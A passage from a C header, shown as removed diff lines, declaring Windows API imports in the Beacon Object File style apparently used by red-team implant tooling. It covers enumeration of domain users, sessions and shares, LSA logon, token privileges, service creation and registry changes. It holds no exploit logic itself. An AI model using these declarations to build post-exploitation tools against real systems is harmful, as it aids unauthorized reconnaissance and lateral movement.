hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize); -WINBASEAPI WINBOOL WINAPI KERNEL32$SetHandleInformation (HANDLE hObject, DWORD dwMask, DWORD dwFlags); -WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread (HANDLE hThread); -WINBASEAPI DWORD WINAPI KERNEL32$WTSGetActiveConsoleSessionId (VOID); -WINBASEAPI WINBOOL WINAPI KERNEL32$PeekNamedPipe (HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage); -WINBASEAPI WINBOOL WINAPI KERNEL32$CreateProcessW (LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); -WINBASEAPI WINBOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); -WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId); -WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileMappingA(HANDLE hFile, LPSECURITY_ATTRIBUTES lpAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName); -WINBASEAPI LPVOID WINAPI KERNEL32$MapViewOfFile(HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap); -WINBASEAPI WINBOOL WINAPI KERNEL32$UnmapViewOfFile(LPCVOID lpBaseAddress); -WINBASEAPI WINBOOL WINAPI KERNEL32$TerminateProcess (HANDLE hProcess, UINT uExitCode); -WINBASEAPI WINBOOL WINAPI KERNEL32$GetComputerNameExW (COMPUTER_NAME_FORMAT NameType, LPWSTR lpBuffer, LPDWORD nSize); -WINBASEAPI int WINAPI KERNEL32$lstrlenW (LPCWSTR lpString); -WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcatW (LPWSTR lpString1, LPCWSTR lpString2); -WINBASEAPI LPWSTR WINAPI KERNEL32$lstrcpynW (LPWSTR lpString1, LPCWSTR lpString2, int iMaxLength); -WINBASEAPI DWORD WINAPI KERNEL32$GetFullPathNameW (LPCWSTR lpFileName, DWORD nBufferLength, LPWSTR lpBuffer, LPWSTR *lpFilePart); -WINBASEAPI DWORD WINAPI KERNEL32$GetFileAttributesW (LPCWSTR lpFileName); -WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryW (DWORD nBufferLength, LPWSTR lpBuffer); -WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileW (LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); -WINBASEAPI HANDLE WINAPI KERNEL32$FindFirstFileA (char * lpFileName, LPWIN32_FIND_DATA lpFindFileData); -WINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileW (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); -WINBASEAPI WINBOOL WINAPI KERNEL32$FindNextFileA (HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData); -WINBASEAPI WINBOOL WINAPI KERNEL32$FindClose (HANDLE hFindFile); -WINBASEAPI VOID WINAPI KERNEL32$SetLastError (DWORD dwErrCode); -#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) -#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) -#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) -#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) -DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalAlloc(UINT uFlags, SIZE_T dwBytes); -DECLSPEC_IMPORT HGLOBAL KERNEL32$GlobalFree(HGLOBAL hMem); -DECLSPEC_IMPORT LPTCH WINAPI KERNEL32$GetEnvironmentStrings(); -DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeEnvironmentStringsA(LPSTR); -WINBASEAPI DWORD WINAPI KERNEL32$ExpandEnvironmentStringsW (LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize); -WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID); -WINBASEAPI WINBOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe); -WINBASEAPI WINBOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe); -DECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); -DECLSPEC_IMPORT WINBOOL WINAPI KERNEL32$Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); -WINBASEAPI WINBOOL WINAPI KERNEL32$Module32First(HANDLE hSnapshot,LPMODULEENTRY32 lpme); -WINBASEAPI WINBOOL WINAPI KERNEL32$Module32Next(HANDLE hSnapshot,LPMODULEENTRY32 lpme); -WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName); -WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName); -WINBASEAPI WINBOOL WINAPI KERNEL32$FreeLibrary (HMODULE hLibModule); -DECLSPEC_IMPORT WINBASEAPI int WINAPI KERNEL32$lstrlenA(LPCSTR); -DECLSPEC_IMPORT int WINAPI KERNEL32$GetLocaleInfoEx(LPCWSTR lpLocaleName, LCTYPE LCType, LPWSTR lpLCData, int cchData); -WINBASEAPI int WINAPI KERNEL32$GetSystemDefaultLocaleName(LPCWSTR lpLocaleName, int cchLocaleName); -DECLSPEC_IMPORT LCID WINAPI KERNEL32$LocaleNameToLCID(LPCWSTR lpName, DWORD dwFlags); -DECLSPEC_IMPORT int WINAPI KERNEL32$GetDateFormatEx(LPCWSTR lpLocaleName, DWORD dwFlags, const SYSTEMTIME *lpData, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate, LPCWSTR lpCalendar); - - -//WTSAPI32 -DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSEnumerateSessionsA(LPVOID, DWORD, DWORD, PWTS_SESSION_INFO*, DWORD*); -DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSQuerySessionInformationA(LPVOID, DWORD, WTS_INFO_CLASS , LPSTR*, DWORD*); -DECLSPEC_IMPORT DWORD WINAPI WTSAPI32$WTSFreeMemory(PVOID); -DECLSPEC_IMPORT WINBOOL WINAPI WTSAPI32$WTSQueryUserToken (ULONG SessionId, PHANDLE phToken); - -//USERENV -DECLSPEC_IMPORT WINBOOL WINAPI USERENV$GetUserProfileDirectoryW (HANDLE hToken, LPWSTR lpProfileDir, LPDWORD lpcchSize); - -//Iphlpapi.lib -//ULONG WINAPI IPHLPAPI$GetAdaptersInfo (PIP_ADAPTER_INFO AdapterInfo, PULONG SizePointer); -DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetAdaptersInfo(PIP_ADAPTER_INFO,PULONG); -DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetIpForwardTable (PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, WINBOOL bOrder); -DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$GetNetworkParams(PFIXED_INFO,PULONG); -DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetUdpTable (PMIB_UDPTABLE UdpTable, PULONG SizePointer, WINBOOL Order); -DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG SizePointer, WINBOOL Order); -DECLSPEC_IMPORT ULONG WINAPI IPHLPAPI$GetIpNetTable(PMIB_IPNETTABLE IpNetTable,PULONG SizePointer, BOOL Order); -DECLSPEC_IMPORT HANDLE WINAPI IPHLPAPI$IcmpCreateFile(VOID); -DECLSPEC_IMPORT BOOL WINAPI IPHLPAPI$IcmpCloseHandle(HANDLE IcmpHandle); -DECLSPEC_IMPORT DWORD WINAPI IPHLPAPI$IcmpSendEcho(HANDLE IcmpHandle, IPAddr DestinationAddress, LPVOID RequestData, WORD RequestSize, PIP_OPTION_INFORMATION RequestOptions, LPVOID ReplyBuffer, DWORD ReplySize, DWORD Timeout); - -//MSVCRT -WINBASEAPI char *__cdecl MSVCRT$_ultoa(unsigned long _Value,char *_Dest,int _Radix); -WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements); -WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount); -WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size); -WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize); -WINBASEAPI void __cdecl MSVCRT$free(void *_Memory); -WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); -WINBASEAPI int __cdecl MSVCRT$sprintf(char *__stream, const char *__format, ...); -WINBASEAPI int __cdecl MSVCRT$vsnprintf(char * __restrict__ d,size_t n,const char * __restrict__ format,va_list arg); -WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...); -WINBASEAPI errno_t __cdecl MSVCRT$wcsncpy_s(wchar_t *_Dst, rsize_t _SizeInWords, const wchar_t *_Src, rsize_t _MaxCount); -WINBASEAPI errno_t __cdecl MSVCRT$wcscpy_s(wchar_t *_Dst, rsize_t _DstSize, const wchar_t *_Src); -WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); -WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _MaxCount); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcscmp(const wchar_t *_lhs,const wchar_t *_rhs); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok(wchar_t * __restrict__ _Str,const wchar_t * __restrict__ _Delim); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcstok_s(wchar_t *_Str,const wchar_t *_Delim,wchar_t **_Context); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcscat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source, size_t _Count); -WINBASEAPI wchar_t *__cdecl MSVCRT$strncat(char * __restrict__ _Dest,const char * __restrict__ _Source, size_t _Count); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcscpy(wchar_t * __restrict__ _Dest, const wchar_t * __restrict__ _Source); -WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2); -WINBASEAPI int __cdecl MSVCRT$_wcsnicmp(const wchar_t *_Str1,const wchar_t *_Str2, size_t _Count); -WINBASEAPI int __cdecl MSVCRT$_strnicmp(const char *_Str1,const char *_Str2, size_t _Count); -WINBASEAPI _CONST_RETURN wchar_t *__cdecl MSVCRT$wcschr(const wchar_t *_Str, wchar_t _Ch); - -WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch); -WINBASEAPI wchar_t *__cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch); -WINBASEAPI unsigned long __cdecl MSVCRT$wcstoul(const wchar_t * __restrict__ _Str,wchar_t ** __restrict__ _EndPtr,int _Radix); -DECLSPEC_IMPORT char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source); -WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *_Str,size_t _MaxCount); -WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str); -DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char *_Str1,const char *_Str2); -DECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *string1,const char *string2); -WINBASEAPI int __cdecl MSVCRT$strncmp(const char *_Str1,const char *_Str2,size_t _MaxCount); -DECLSPEC_IMPORT char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src); -DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strstr(const char *haystack, const char *needle); -DECLSPEC_IMPORT PCHAR __cdecl MSVCRT$strchr(const char *haystack, int needle); -DECLSPEC_IMPORT char *__cdecl MSVCRT$strtok(char * __restrict__ _Str,const char * __restrict__ _Delim); -_CRTIMP char *__cdecl MSVCRT$strtok_s(char *_Str,const char *_Delim,char **_Context); -WINBASEAPI unsigned long __cdecl MSVCRT$strtoul(const char * __restrict__ _Str,char ** __restrict__ _EndPtr,int _Radix); -WINBASEAPI size_t __cdecl MSVCRT$strftime(char *_DstBuf,size_t _SizeInBytes,const char *_Format,const struct tm *_Tm); -WINBASEAPI struct tm * __cdecl MSVCRT$gmtime(const time_t *_Time); -WINBASEAPI wchar_t * __cdecl MSVCRT$wcsncat(wchar_t * __restrict__ _Dest,const wchar_t * __restrict__ _Source,size_t _Count); - -//DNSAPI -DECLSPEC_IMPORT DNS_STATUS WINAPI DNSAPI$DnsQuery_A(PCSTR,WORD,DWORD,PIP4_ARRAY,PDNS_RECORD*,PVOID*); -DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); - -//WSOCK32 -DECLSPEC_IMPORT unsigned long __stdcall WSOCK32$inet_addr(const char *cp); - -//NETAPI32 -DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID); -WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr); -WINBASEAPI DWORD WINAPI NETAPI32$NetUserModalsGet(LPCWSTR servername,DWORD level,LPBYTE *bufptr); -WINBASEAPI DWORD WINAPI NETAPI32$NetServerEnum(LMCSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,DWORD servertype,LMCSTR domain,LPDWORD resume_handle); -WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetGroups(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries); -WINBASEAPI DWORD WINAPI NETAPI32$NetUserGetLocalGroups(LPCWSTR servername,LPCWSTR username,DWORD level,DWORD flags,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries); -WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); -WINBASEAPI DWORD WINAPI NETAPI32$NetGetAnyDCName(LPCWSTR servername,LPCWSTR domainname,LPBYTE *bufptr); -WINBASEAPI DWORD WINAPI NETAPI32$NetUserEnum(LPCWSTR servername,DWORD level,DWORD filter,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle); -WINBASEAPI DWORD WINAPI NETAPI32$NetGroupGetUsers(LPCWSTR servername,LPCWSTR groupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR ResumeHandle); -WINBASEAPI DWORD WINAPI NETAPI32$NetQueryDisplayInformation(LPCWSTR ServerName,DWORD Level,DWORD Index,DWORD EntriesRequested,DWORD PreferredMaximumLength,LPDWORD ReturnedEntryCount,PVOID *SortedBuffer); -WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupEnum(LPCWSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle); -WINBASEAPI DWORD WINAPI NETAPI32$NetLocalGroupGetMembers(LPCWSTR servername,LPCWSTR localgroupname,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,PDWORD_PTR resumehandle); -WINBASEAPI DWORD WINAPI NETAPI32$NetUserSetInfo(LPCWSTR servername,LPCWSTR username,DWORD level,LPBYTE buf,LPDWORD parm_err); -WINBASEAPI DWORD WINAPI NETAPI32$NetShareEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resume_handle); -WINBASEAPI DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID Buffer); -WINBASEAPI DWORD WINAPI NETAPI32$NetSessionEnum(LPCWSTR servername, LPCWSTR UncClientName, LPCWSTR username, DWORD level, LPBYTE* bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resumehandle); -WINBASEAPI DWORD WINAPI NETAPI32$NetWkstaUserEnum(LMSTR servername,DWORD level,LPBYTE *bufptr,DWORD prefmaxlen,LPDWORD entriesread,LPDWORD totalentries,LPDWORD resumehandle); -WINBASEAPI DWORD WINAPI NETAPI32$NetWkstaGetInfo(LMSTR servername,DWORD level,LPBYTE *bufptr); -WINBASEAPI DWORD WINAPI NETAPI32$NetStatisticsGet(LMSTR server,LMSTR service,DWORD level,DWORD options,LPBYTE *bufptr); -WINBASEAPI DWORD WINAPI NETAPI32$NetRemoteTOD(LPCWSTR UncServerName,LPBYTE *BufferPtr); - -//mpr -WINBASEAPI DWORD WINAPI MPR$WNetOpenEnumW(DWORD dwScope, DWORD dwType, DWORD dwUsage, LPNETRESOURCEW lpNetResource, LPHANDLE lphEnum); -WINBASEAPI DWORD WINAPI MPR$WNetEnumResourceW(HANDLE hEnum, LPDWORD lpcCount, LPVOID lpBuffer, LPDWORD lpBufferSize); -WINBASEAPI DWORD WINAPI MPR$WNetCloseEnum(HANDLE hEnum); -WINBASEAPI DWORD WINAPI MPR$WNetGetNetworkInformationW(LPCWSTR lpProvider, LPNETINFOSTRUCT lpNetInfoStruct); -WINBASEAPI DWORD WINAPI MPR$WNetGetConnectionW(LPCWSTR lpLocalName, LPWSTR lpRemoteName, LPDWORD lpnLength); -WINBASEAPI DWORD WINAPI MPR$WNetGetResourceInformationW(LPNETRESOURCEW lpNetResource, LPVOID lpBuffer, LPDWORD lpcbBuffer, LPWSTR *lplpSystem); -WINBASEAPI DWORD WINAPI MPR$WNetGetUserW(LPCWSTR lpName, LPWSTR lpUserName, LPDWORD lpnLength); -WINBASEAPI DWORD WINAPI MPR$WNetAddConnection2W(LPNETRESOURCEW lpNetResource, LPCWSTR lpPassword, LPCWSTR lpUserName, DWORD dwFlags); -WINBASEAPI DWORD WINAPI MPR$WNetCancelConnection2W(LPCWSTR lpName, DWORD dwFlags, BOOL fForce); - -//user32 -WINUSERAPI int WINAPI USER32$EnumDesktopWindows(HDESK hDesktop,WNDENUMPROC lpfn,LPARAM lParam); -WINUSERAPI int WINAPI USER32$IsWindowVisible (HWND hWnd); -WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd,LPSTR lpString,int nMaxCount); -WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd,LPSTR lpClassName,int nMaxCount); -WINUSERAPI LPWSTR WINAPI USER32$CharPrevW(LPCWSTR lpszStart,LPCWSTR lpszCurrent); -WINUSERAPI HWND WINAPI USER32$FindWindowExA (HWND hWndParent, HWND hWndChildAfter, LPCSTR lpszClass, LPCSTR lpszWindow); -WINUSERAPI LRESULT WINAPI USER32$SendMessageA (HWND hwnd, UINT Msg, WPARAM wParam, LPARAM lParam); -WINUSERAPI int WINAPI USER32$GetWindowTextA(HWND hWnd, LPSTR lpString, int nMaxCount); -WINUSERAPI int WINAPI USER32$GetClassNameA(HWND hWnd, LPTSTR lpClassName, int nMaxCount); -WINUSERAPI BOOL WINAPI USER32$EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam); -WINBASEAPI WINBOOL WINAPI USER32$GetLastInputInfo (PLASTINPUTINFO plii); - -//secur32 -WINBASEAPI BOOLEAN WINAPI SECUR32$GetUserNameExA (int NameFormat, LPSTR lpNameBuffer, PULONG nSize); -WINBASEAPI NTSTATUS NTAPI SECUR32$LsaGetLogonSessionData(PLUID LogonId,PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData); -WINBASEAPI NTSTATUS NTAPI SECUR32$LsaFreeReturnBuffer (PVOID Buffer); -WINBASEAPI NTSTATUS NTAPI SECUR32$LsaConnectUntrusted(PHANDLE LsaHandle); -WINBASEAPI NTSTATUS NTAPI SECUR32$LsaLookupAuthenticationPackage(HANDLE LsaHandle, PLSA_STRING PackageName, PULONG AuthenticationPackage); -WINBASEAPI NTSTATUS NTAPI SECUR32$LsaLogonUser(HANDLE LsaHandle, PLSA_STRING OriginName, SECURITY_LOGON_TYPE LogonType, ULONG AuthenticationPackage, PVOID AuthenticationInformation, ULONG AuthenticationInformationLength, PTOKEN_GROUPS LocalGroups, PTOKEN_SOURCE SourceContext, PVOID *ProfileBuffer, PULONG ProfileBufferLength, PLUID LogonId, PHANDLE Token, PQUOTA_LIMITS Quotas, PNTSTATUS SubStatus); -WINBASEAPI NTSTATUS NTAPI SECUR32$LsaDeregisterLogonProcess(HANDLE LsaHandle); - -//shlwapi -WINBASEAPI LPSTR WINAPI SHLWAPI$StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch); -WINBASEAPI int WINAPI SHLWAPI$SHFormatDateTimeA(const FILETIME *pft, DWORD *pdwFlags, LPSTR *pszBuf, UINT cchBuf); - -//advapi32 -WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); -WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); -WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid); -WINADVAPI WINBOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, WINBOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength); -WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidA(PSID Sid,LPSTR *StringSid); -WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertStringSecurityDescriptorToSecurityDescriptorW(LPCWSTR StringSecurityDescriptor,DWORD StringSDRevision,PSECURITY_DESCRIPTOR *SecurityDescriptor,PULONG SecurityDescriptorSize); -WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidA (LPCSTR lpSystemName, PSID Sid, LPSTR Name, LPDWORD cchName, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); -WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); -WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeNameA (LPCSTR lpSystemName, PLUID lpLuid, LPSTR lpName, LPDWORD cchName); -WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeDisplayNameA (LPCSTR lpSystemName, LPCSTR lpName, LPSTR lpDisplayName, LPDWORD cchDisplayName, LPDWORD lpLanguageId); -WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR lpMachineName,LPCSTR lpDatabaseName,DWORD dwDesiredAccess); -WINADVAPI SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,DWORD dwDesiredAccess); -WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatus(SC_HANDLE hService,LPSERVICE_STATUS lpServiceStatus); -WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfigA(SC_HANDLE hService,LPQUERY_SERVICE_CONFIGA lpServiceConfig,DWORD cbBufSize,LPDWORD pcbBytesNeeded); -WINADVAPI WINBOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject); -WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExA(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCSTR pszGroupName); -WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService,SC_STATUS_TYPE InfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded); -WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded); -WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPVOID lpInfo); -WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA(SC_HANDLE hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName); -WINADVAPI SC_HANDLE WINAPI ADVAPI32$CreateServiceA(SC_HANDLE hSCManager,LPCSTR lpServiceName,LPCSTR lpDisplayName,DWORD dwDesiredAccess,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword); -WINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService); -WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult); -WINADVAPI WINBOOL WINAPI ADVAPI32$EnumServicesStatusExW(SC_HANDLE hSCManager,SC_ENUM_TYPE InfoLevel,DWORD dwServiceType,DWORD dwServiceState,LPBYTE lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned,LPDWORD lpResumeHandle,LPCWSTR pszGroupName); -WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult); -WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData); -WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult); -WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName,HKEY hKey,PHKEY phkResult); -WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey); -WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult); -WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition); -WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey,LPCSTR lpSubKey,REGSAM samDesired,DWORD Reserved); -WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName); -WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); -WINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime); -WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); -WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY 